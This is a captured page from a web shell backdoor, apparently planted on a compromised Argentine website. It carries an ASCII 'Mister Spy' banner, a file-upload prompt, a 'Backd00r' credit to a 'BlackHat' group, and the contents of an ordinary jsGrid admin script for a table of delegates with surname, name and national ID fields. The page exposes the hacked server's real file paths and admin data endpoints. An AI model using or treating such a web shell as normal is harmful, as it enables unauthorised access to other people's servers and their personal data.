Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/public_html/web/admin/js/
Upload File :
Current File : /home/caballoscriollos/public_html/web/admin/js/jquery.jsgrid.delegados.init.js

/**
* Theme: Ubold Admin Template
* Author: Coderthemes
* JsGrid page
*/


/**
 * JsGrid Controller
 */

var urlJsonData = "json-delegados.php?All=1";
var urlJsonAdd = "json-delegados-add.php";
var urlJsonMod = "json-delegados-mod.php";
var urlJsonDel = "json-delegados-del.php";
var EntidadNombre = "Evento";

disableInsert = true;
disableEdit = true;
var Unisar = [{Unisar: '', Nombre: 'Indistinto' }, {Unisar: '1', Nombre: 'Si'}, {Unisar: '0', Nombre: 'No'}];
var IGG4 = [{IGG4: '', Nombre: 'Indistinto' }, {IGG4: '1', Nombre: 'Si'}, {IGG4: '0', Nombre: 'No'}];

var fields_grid =  [
                {
                	name: "Apellido", 
                	type: "text", 
                	width: "30%", 
                	validate: {
                		validator: "required",
                		message: "Ingrese el apellido"
                	}
                },
                {
                    name: "Nombre", 
                    type: "text", 
                    width: "30%", 
                    validate: {
                        validator: "required",
                        message: "Ingrese el nombre"
                    }
                },
                {
                    name: "Dni", 
                    title: "DNI",
                    type: "text", 
                    width: "30%", 
                    validate: {
                        validator: "required",
                        message: "Ingrese el Dni"
                    }
                },
                {
                	type: "control",
                	deleteButtonTooltip: "Eliminar",
            		searchButtonTooltip: "Buscar",
            		editButtonTooltip: "Editar",
            		cancelEditButtonTooltip: "Cancelar",
            		updateButtonTooltip: "Actualizar",
            		insertButtonTooltip: "Insertar",
                    width: "20%", 
                	itemTemplate: function(value, item) {
                		var $result = jsGrid.fields.control.prototype.itemTemplate.apply(this, arguments);
                		
                		var $el = $('<input class="jsgrid-button jsgrid-search-button" type="button" title="Ver detalle">');
                		var eb = $result[0];
                		
                		$(eb).on("click", function () {
                			$('#modal-update #IdDelegado').val(item.IdDelegado);
                			$('#modal-update #NombreU').val(item.Nombre);
                            $('#modal-update #ApellidoU').val(item.Apellido);
                            $('#modal-update #DniU').val(item.Dni);
                			
                        	Custombox.open({
                				target: '#modal-update',
               					effect: 'fadein',
               					overlaySpeed: 200,
               					overlayColor: '#36404a'
            				});
                        });
                            
    					return $result;
                	}
            	}
            ];

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat